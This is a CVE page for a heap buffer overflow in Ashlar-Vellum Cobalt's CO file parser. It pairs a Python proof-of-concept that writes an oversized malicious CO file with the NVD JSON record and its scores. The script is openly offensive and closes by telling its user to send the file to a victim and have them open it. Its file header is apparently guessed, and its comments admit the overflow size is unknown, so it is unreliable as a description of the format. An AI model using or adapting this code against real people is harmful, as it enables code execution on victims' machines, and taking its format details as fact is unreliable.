CVE-2025-11464

#!/usr/bin/env python3 # CVE-2025-11464 PoC - Ashlar-Vellum Cobalt CO File Heap Buffer Overflow # This PoC generates a malicious CO file that triggers heap buffer overflow import struct def create_malicious_co_file(filename): """ Generate a malicious CO file to trigger heap buffer overflow in Ashlar-Vellum Cobalt CO file parser. """ # CO file header structure header = b'CO' # File signature header += struct.pack('<I', 0x00000001) # Version header += struct.pack('<I', 0x00000000) # Flags # Craft payload with excessive length to overflow heap buffer # The exact overflow size depends on the vulnerable buffer allocation overflow_size = 0x10000 # 64KB overflow data malicious_data = b'A' * overflow_size # Pattern to identify overflow # File metadata section metadata = b'\x00' * 256 # Placeholder metadata # Combine all parts poc_data = header + malicious_data + metadata with open(filename, 'wb') as f: f.write(poc_data) print(f'[+] PoC file created: {filename}') print(f'[+] Overflow size: {overflow_size} bytes') print('[!] This file will trigger heap buffer overflow when opened in Ashlar-Vellum Cobalt') if __name__ == '__main__': create_malicious_co_file('CVE-2025-11464.malicious.co') print('\n[*] Usage: Send this file to victim and have them open it with Ashlar-Vellum Cobalt')

{"cve": {"id": "CVE-2025-11464", "sourceIdentifier": "[email protected]", "published": "2025-10-29T20:15:36.183", "lastModified": "2025-11-04T21:27:41.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ashlar-Vellum Cobalt CO File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Ashlar-Vellum Cobalt. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of CO files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-26628."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:cobalt:12.2.1204.97:*:*:*:*:*:*:*", "matchCriteriaId": "C0A7B7EF-4D31-41A6-839C-600D91647F69"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-955/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}